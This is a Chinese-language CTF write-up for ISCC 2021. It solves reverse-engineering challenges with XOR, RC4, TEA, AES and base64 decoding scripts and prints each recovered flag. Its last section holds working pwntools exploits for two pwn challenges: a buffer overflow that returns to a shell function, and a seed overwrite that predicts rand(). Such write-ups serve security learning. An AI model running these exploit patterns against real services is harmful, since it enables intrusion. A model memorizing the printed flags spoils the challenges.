2021 ISCC逆向wp和签到pwn

前言:五一来打的这个比赛,上题是分批次的,后面要军训了,难受。这个比赛好像是说原题很多,也不知道了,反正没做过。不得不说,这个比赛py有点多,哈哈哈。

Garden

签到题,pyc用uncompyle6反编译一下,得到py文件,分析一波就是一个异或。

写出脚本

l='2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
for i in l:
    print(chr(ord(i)^123),end='')
//ISCC{Makka2021Pakka}

Mobile Easy

安卓逆向,比较坑的是有一个字符代换,交了半天都不对,模拟器里面又是right。

先主函数分析一波

然后分析secondStr,发现是aes的ECB模式

没找到好的脚本,自己写的那个好像不行,哈哈哈,还是线上解吧https://the-x.cn/cryptography/Aes.aspx

然后thirdStr,解就行了

算出来是:Gg9hwlTP

然后就是replace了

s='+0dNlE8us8'
l=[71,103,57,104,119,108,84,80]
for i in l:
    s+=chr(i)
s='ISCC{'+s+'}'
print(s.replace("dN","B1").replace("8","_").replace("P","!").replace("hwl","rea").replace( 'u','1').replace("+","m"))
//ISCC{m0B1lE_1s_Gg9reaT!}

无法注册的程序

一个MFC程序,无法点确定,意味着无法输入字符串,但是我们仍然可以找到检验的位置。

我这里是通过shift+12看字符串定位到check函数的。可以看到字符串里面有part1,part2,b64out,tea_ptr,keyhint这些,通过他们,然后交叉引用就可以找到check函数。而且这些字符串也是算法的提示。

找到check函数就是,sub_5A1080

但是在开始做前,里面有两个提前调用的函数,需要注意,会修改数据。

找到这两个函数,试着打断点,还真断下来了

第一个函数

第二个函数,处理密文

这时候就有两个思路了,写idapython来还原,或者直接将就动调,在执行完这两个函数后,再去看check函数。

这里我是直接写了两个idapython,用的时候注意地址就行了。

import idc
st = 0x545018
i = 0
s='fuck'
print(len(s))

while st < 0x545018+0x2c:
    value = ida_bytes.get_byte(st)
    value ^= ord(s[i%len(s)])
    ida_bytes.patch_byte(st, value)
    st += 1
    i += 1

import idc
st = 0x545188
i = 0
s='you_can_not_find_me'
print(len(s))

while st < 0x545188+0x292:
    value = ida_bytes.get_byte(st)
    value ^= ord(s[i%len(s)])
    ida_bytes.patch_byte(st, value)
    st += 1
    i += 1

接下来就可以看check函数了。

第一部分

进入rc4函数部分,这里我直接用动调提出了初始化秘钥后的s,因为写脚本不知道哪出问题了,就直接动调提数据算了。动调就在sub_BCDDC0函数开头,右键点set ip就行。

这样就得到了初始化后的s,解密也用这个s就行了。

接下来看base64

import base64
code=[0x04, 0x48, 0x4D, 0x25, 0x0F, 0x4E, 0x45, 0x58, 0x0C, 0x37,
  0x39, 0x50, 0x62, 0x4E, 0x5C, 0x43, 0x0F, 0x42, 0x51, 0x4C,
  0x76, 0x53, 0x57, 0x2C, 0x0A, 0x2F, 0x27, 0x38, 0x74, 0x23,
  0x55, 0x4D, 0x63, 0x34, 0x25, 0x45, 0x67, 0x40, 0x40, 0x40,
  0x0C, 0x2E, 0x25, 0x35]
t=[]
for i in code:
    t.append((i-35)&0x3f)
base1 = [0x0,0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xa,0xb,0xc,0xd,0xe,0xf,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f]
base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
ans = ''
for i in t:
    ans += base[base1.index(i)]
print(ans)
str=base64.b64decode(ans)
print(base64.b64decode(ans))
for i in str:
    print(hex(i),end=',')
//0x86,0x5a,0x82,0xb2,0xb8,0xb5,0xa5,0x45,0xad,0xfe,0xbe,0x60,0xb1,0xfb,0xa9,0x4f,0xd,0x9,0x9c,0xc1,0x15,0x44,0xc,0xaa,0x1,0x10,0xa2,0x11,0xd7,0x5d,0xa4,0xb0,0x92

然后rc4解密,注意类型

#include<stdio.h>
#include<string.h>
typedef unsigned longULONG;

void rc4_crypt(unsigned char*s, int*Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k<Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];//交换s[x]和s[y]
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    unsigned char s2[256] = {   0x53, 0xBF, 0x82, 0x49, 0x3A, 0x08, 0xE0, 0xFD, 0x8A, 0xBB, 
  0x44, 0xC7, 0xC4, 0x99, 0x06, 0x3C, 0xC2, 0x80, 0x68, 0xCF, 
  0x51, 0x5B, 0xDC, 0x8C, 0x76, 0xB4, 0xBE, 0x62, 0x0F, 0x32, 
  0xEA, 0x7A, 0xFC, 0x83, 0xD9, 0x63, 0xDB, 0xC9, 0xF7, 0xC6, 
  0xD4, 0x6C, 0xCB, 0xAF, 0xE9, 0xB3, 0x8B, 0x7E, 0xF5, 0xA1, 
  0x30, 0xB0, 0xBA, 0x92, 0xDA, 0x9F, 0x43, 0x89, 0x1A, 0x9E, 
  0x59, 0x6F, 0xE7, 0xD8, 0x74, 0x38, 0x42, 0x12, 0x5A, 0xA0, 
  0xAD, 0x04, 0x3F, 0x4F, 0xED, 0xB7, 0x4D, 0x95, 0x34, 0x1D, 
  0x0C, 0xB5, 0x60, 0x0B, 0x6D, 0x5C, 0xE5, 0xA2, 0x05, 0xF9, 
  0x2C, 0xC8, 0xEB, 0xD3, 0x81, 0x2E, 0x02, 0x73, 0xF0, 0xF3, 
  0x94, 0xEC, 0x2D, 0xF6, 0x97, 0xB1, 0x7B, 0xC1, 0xA5, 0x2F, 
  0x6A, 0x47, 0x07, 0x85, 0xB8, 0xBD, 0x18, 0xCA, 0x5E, 0x96, 
  0x8E, 0xF2, 0xE8, 0x40, 0x71, 0xFF, 0x5D, 0xCD, 0xE3, 0x37, 
  0xE1, 0x4B, 0xFE, 0xD1, 0x75, 0x03, 0x45, 0x87, 0x66, 0x52, 
  0x31, 0x8D, 0x4C, 0xB2, 0x9B, 0x39, 0x16, 0x01, 0xAB, 0x54, 
  0x90, 0x98, 0x2B, 0xF4, 0xA7, 0x0A, 0x35, 0x27, 0x0D, 0x61, 
  0xA4, 0xA8, 0x6B, 0x48, 0x41, 0x86, 0x23, 0x0E, 0x56, 0x58, 
  0x46, 0x22, 0xDD, 0x50, 0x79, 0xB6, 0x9D, 0xD7, 0x93, 0x29, 
  0x77, 0x88, 0xAC, 0xEE, 0x3B, 0x26, 0x28, 0x3E, 0x24, 0x84, 
  0x67, 0xBC, 0x36, 0x78, 0x4E, 0x21, 0x1B, 0x1E, 0x33, 0xCC, 
  0x19, 0x5F, 0x25, 0x70, 0x55, 0x09, 0x20, 0xB9, 0xA9, 0xE4, 
  0x8F, 0x7C, 0x65, 0x14, 0xD0, 0xFA, 0x7F, 0x6E, 0x69, 0x10, 
  0x57, 0xDF, 0xAA, 0xAE, 0xA3, 0x17, 0x1F, 0x64, 0x1C, 0x72, 
  0xFB, 0xDE, 0xC3, 0x3D, 0x11, 0x2A, 0x15, 0xC0, 0xF1, 0x00, 
  0xEF, 0xCE, 0xC5, 0x91, 0xA6, 0x9C, 0x13, 0xD2, 0xD5, 0xE2, 
  0x7D, 0xD6, 0xF8, 0x4A, 0x9A, 0xE6 };//S-box
    char key[256] = { "sorry_you_are_wrong" };
    int pData[256] = {0x86,0x5a,0x82,0xb2,0xb8,0xb5,0xa5,0x45,0xad,0xfe,0xbe,0x60,0xb1,0xfb,0xa9,0x4f,0xd,0x9,0x9c,0xc1,0x15,0x44,0xc,0xaa,0x1,0x10,0xa2,0x11,0xd7,0x5d,0xa4,0xb0,0x92};
    int i;

    rc4_crypt(s2, pData, 33);
    for(i=0;i<33;i++)
    {
        printf("%c",pData[i]%128);
    }
    return 0;
}
//Fr4nk1y_MfC_l5_t0O_ComPIeX_4nd_dl

第二部分,改了dealt的tea解密

先用z3来解密文

from z3 import *

s = Solver()
flag = [BitVec('flag[%d]' % i, 64) for i in range(3)]
s.add(flag[1]-flag[0]==0x3F66B755B4490579)
s.add(flag[0]+flag[2]==0x162F924623D2CAE0)
s.add(flag[2]-flag[1]==0x7C3C71F1B295D77F)
print(s.check())
m = s.model()
print(m)

print(hex(3262352701727045364),hex(7830893152465779821),hex(16783048594668704748))
//v7=0x2d46347f5e79f6f4 v10=0x6cacebd512c2fc6d v11=0xe8e95dc6c558d3ec

然后tea解密,dealt是0x2433B95A,注意每轮key不一样

#include<stdio.h>

void decrypt(unsigned int *code , int *key)
{
    unsigned int delta=0x2433B95A,sum=0x2433B95A*32;
    unsigned int v0,v1,i;

    v0=code[0];
    v1=code[1];
    for(i=0;i<32;i++)
    {
        v1-=( (v0<<4)+key[2] ) ^ (v0+sum) ^ ( (v0>>5)+key[3] );
        v0-=( (v1<<4)+key[0] ) ^ (v1+sum) ^ ( (v1>>5)+key[1] );
        sum-=delta;
    }
    code[0]=v0;
    code[1]=v1;
}


int main()
{
    int key[4]={0x0DCDEDAE8,0x0EAD2D1A0, 0x0BAC4F564, 0x0DA4772AC};
    unsigned int code[2]={0xe8e95dc6,0xc558d3ec};
    int i;

    decrypt(code,key);
    for(i=0;i<2;i++)
    {
        printf("%c%c%c%c", *((char*)&code[i])&0xff,*((char*)&code[i] + 1)&0xff,*((char*)&code[i] + 2)&0xff,*((char*)&code[i]+3)&0xff);
     } 
}
//5f1cUlt_foR_THe_r0Ok1E_t0_REver5e

拼接一下,得到ISCC{Fr4nk1y_MfC_l5_t0O_ComPIeX_4nd_dl5f1cUlt_foR_THe_r0Ok1E_t0_REver5e}

Analysis

简单的逆向题,逻辑很清晰

IDA打开

脚本

#include<stdio.h>
#include<string.h>

int main()
{
    char flag[26]={0x43,0xDF,0x14,3,0xD,0x2C,9,1,0x17,0x17,8,0xFC,0x2B,0xFA,0x14,0x17
                    ,0xF9,0x25,0xF5,0x22,0x3D,0xCE,0x18,0x16,0xA,'\0'};
    int i;
    int mid;
    char key[8]="REVERSE";

    for(i=0;i<strlen(key);i++)
    {
        key[i]%=64;
    }

    for(i=0;i<25;i++)
    {
        if(key[i%7]&1!=0)
        {
            flag[i]=flag[i]-2;
        }
        else
        {
            flag[i]=flag[i]-1;
        }
     } 
     for(i=0;i<25/2;i++)
     {
         mid=flag[i];
         flag[i]=flag[24-i];
         flag[24-i]=mid;
     }

     for(i=0;i<25;i++)
     {
         flag[i]-=key[i%7];
     }
     for(i=24;i>=0;i--)
     {
         flag[i]=flag[i]+flag[i+1];
     }
     for(i=0;i<25;i++)
     {
         flag[i]+=64;
         printf("%c",flag[i]);
     }

}
//ISCC{REVERSE_IS_NOT_HARD}

Greedy Snake

擂台赛的一道题,upx加壳了,手动脱壳。游戏想用ce来做的,结果改了相应判断地址数据后发现


好家伙,上当了。

ida看逻辑

脚本1

import base64
url = "QFpKSnJWXFlRKFY8PFY8OVY8MVY9Z21WSz08bCJROVt0"
str_url = base64.b64decode(url)
print(str_url)
//@ZJJrV\\YQ(V<<V<9V<1V=gmVK=<l\"Q9[t

脚本2

#include<stdio.h>

int main()
{
    char flag[]="@ZJJrV\\YQ(V<<V<9V<1V=gmVK=<l\"Q9[t";
    int i,j;

    for(i=1;i<=10;i++)
    {
        for(j=0;j<33 ;j++)
        {
            if(33%i)
                flag[j]^=i;
            else
                flag[j]^=j;
        }
    }    

    for(i=0;i<33;i++)
    {
        printf("%c",flag[i]); 
    }
}
//ISCC{_UPX!_55_50_58_4nd_B45e+X0R}

Ron’s Code

rc4加密,加密前对flag和key进行了一些简单处理

脚本

#include<stdio.h>
#include<string.h>
typedef unsigned longULONG;

void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i<256; i++)
    {
        s[i] = i;
        k[i] = key[i%Len];
    }
    for (i = 0; i<256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}


void rc4_crypt(unsigned char*s, unsigned char*Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k<Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    unsigned char s[256] = { 0 }, s2[256] = { 0 };
    char key[256] = { "ITEF6588" };
    char key1[9]="ISCC2021";
    char flag[512] = {0xE8,0x30,0xE8,0x30,0xC9,0x65,0xA9,0xBA,0x77,0xDA,0xF4,0x4E,0xE3,0xE9,0x60,0x76,0xC1};
    unsigned long len = strlen(flag);
    int i;

    rc4_init(s, (unsigned char*)key, strlen(key));
    for (i = 0; i<256; i++)
    {
        s2[i] = s[i];
    }

    rc4_crypt(s2, (unsigned char*)flag, len);
    for(i=0;i<0x11;i++)
    {
        flag[i]+=key1[i%8]-1;
        printf("%c",flag[i]);
    }
    return 0;
}
//ISCC{reverse_rc4}

汇编大人,时代变了

文件是一个ll文件,llvm,先转为可执行文件

llc -filetype=obj task.ll -o task.o
gcc task.o

然后ida分析

爆破脚本

#include<stdio.h>
#include<string.h>
//mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n!
int main(void)
{
    int i,j;
    char what[]={  0x64, 0x4E, 0x6C, 0x2E, 0x1E, 0x36, 0x38, 0x04, 0x44, 0x12, 
  0x1C, 0x24, 0x5C, 0x59, 0x3D, 0x0B, 0x5A, 0x78, 0x08, 0x09, 
  0x76, 0x70, 0x79, 0x33, 0x13, 0x16, 0x20, 0x7E, 0x6B, 0x23, 
  0x36, 0x45, 0x07, 0x11, 0x2C, 0x22, 0x4A, 0x4A, 0x4F, 0x2E, 
  0x48, 0x4C, 0x7C, 0x3E, 0x11, 0x0F, 0x6A, 0x18, 0x37, 0x42, 
  0x1E, 0x2B, 0x12, 0x03, 0x5A, 0x47};
      char secret[]={0x42, 0x0A, 0x7C, 0x5F, 0x22, 0x06, 0x1B, 0x67, 0x37, 0x23, 
  0x5C, 0x46, 0x0A, 0x29, 0x09, 0x30, 0x51, 0x38, 0x5F, 0x7B, 
  0x59, 0x13, 0x18, 0x0D, 0x50};
      char flag[64]={0};
      char v4;

      for(i=0;i<127;i++)
      {
          flag[0]=i;
          for(j=1;j<strlen(what);j++)
        {
              flag[j]=flag[j-1]^what[j-1];
        }
        for(j=0;j<57;j++)
        {
            v4=flag[j]^secret[j%strlen(secret)];
            printf("%c",v4);
        }
        printf("\n");
    }
}
//mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!

秘笈

一个易语言写的程序,感觉难点就在于,你需要知道这个程序可以进行输入,这个可以通过你使用键盘时发现一些键无法使用了。这也导致我写wp都不好写了。。。

然后xdbg分析,通过搜索字符串可知,关键就在于3个地方。

eax,是我们键盘按键所产生的数,然后会和下面地址的数进行比较,并且有一个计数器来判断,正确了几个了。

实际上就是,魂斗罗的圣经↑↑↓↓←→←→BABA。我是改的每次的eax值,懒得去记录哪个键代表哪个数值了。会弹出下面的窗口。

然后后面两个判断也差不多是这样。

键盘输入是wankkoree,也就是作者名字。会弹出下面的窗口。

然后就是一个进度条,输入对了进度条就会涨,错了就从新来。

最后弹出flag窗口

cxi

一个3ds的抓包后的文件,要用3dstools来解包。暂时没安装好这个,后面需要的话来补。

M78

最近刚学了点pwn,看着是签到题来做了做,考点就是一个整数溢出漏洞吧,就是对于一个类型确定的变量,比如说unsigned char,8bit,下面的两个数就是相等的。

Snipaste-2021-05-06-19-54-14.png

下面来看看逻辑

Snipaste-2021-05-06-19-58-21.png

exp

#! /usr/bin/python3
from pwn import *


io = process('./M78')
#io=remote("39.96.88.40",'7010')
#gdb.attach(io,'b *0x080492B0')

io.recvuntil("choice?")
io.sendline("1")
io.recvuntil("building")
io.sendline("1")
io.recvuntil("password")

payload = b'a'*0x18 +b'a'*4+ p32(0x08049202)+b'a'*230
io.sendline(payload)

io.interactive()

getshell,catflag

flag{N@x_addr_*EnaBleD%}

Snipaste-2021-05-06-20-00-16.png

game

一个猜数字的题,考察的就是rand()和srand()函数,如果seed设为1,那么rand产生的数组就是一个确切的数组。

大概逻辑

动调看cmp部分

exp

from pwn import *
from ctypes import *

io = process('./game')
#io=remote("39.96.88.40",'7040')
gdb.attach(io)
elf=ELF('./game')


io.recvuntil("Your name is :")
payload=b'a'*(0x30-0x10)+p64(0x0)+p32(0x1)
io.sendline(payload)

a=['55','15','82','1','98','68','67','15','86','3']

for i in a:
    io.recvuntil("Guess Number:")
    io.sendline(i)

io.interactive()
//ISCC{this****&haobdvaljdnvoa0%bor}